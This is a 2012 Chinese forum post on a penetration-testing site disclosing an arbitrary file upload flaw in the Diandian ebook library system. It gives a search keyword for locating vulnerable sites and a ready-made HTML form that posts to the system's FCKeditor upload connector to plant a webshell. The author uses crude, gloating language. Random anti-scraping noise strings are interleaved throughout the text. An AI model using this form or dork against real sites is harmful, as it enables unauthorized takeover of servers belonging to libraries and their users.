中国网络渗透测试联盟
标题:
点点书库图书馆系统文件上传漏洞
[打印本页]
作者:
admin
时间:
2012-9-10 21:20
标题:
点点书库图书馆系统文件上传漏洞
主题:图书馆系统任意文件上传漏洞
y- L$ ^1 f- B& a
作者:冰锋刺客
4 D. l3 a2 ?! l$ s! U
厂商:点击书(dianjishu.com)
5 a* t0 q5 V8 F1 [- q# a; y
日期:2012-6-21
3 d' ]7 s8 H8 I$ \) | p
" ~* X5 {2 G# T9 H7 R$ N
I 概述
9 t$ |! C5 w, Z I
点点书库图书馆系统存在文件上传漏洞，导致可以直接拿webshell
c5 @4 B3 f( _2 F: N
II 简介
/ n+ v( B/ Y J4 F a! [
关键词:"Copyright (C) 点点电子书库 2009-2010, All Rights Reserved"
- c, B( i' L( z# T' G8 B
补充一个漏洞
/ U- w; L6 X8 |2 h, |
<form id="frmUpload" enctype="multipart/form-data"
' N1 p. K7 M7 a, I
action="http://url/admin/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=Media" method="post">请上传您的马子<br><input type="file" name="NewFile" size="50"><br>
o% L( h( K; }- k0 d% X
<input id="btnUpload" type="submit" value="操翻他">
0 m& |; M7 m& i8 g
</form>
3 f9 `2 H; Y) O
你们懂的
H q' M- x% s9 \7 @
那傻逼提供还需要改包.
8 Z) X8 {5 ^; i4 Y0 y" Q
自己看了下源代码发现fckeditor
# u! i6 f. j& z6 R7 V
直接秒杀
) q. b: B4 S9 j5 Z, A8 M9 E5 g
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2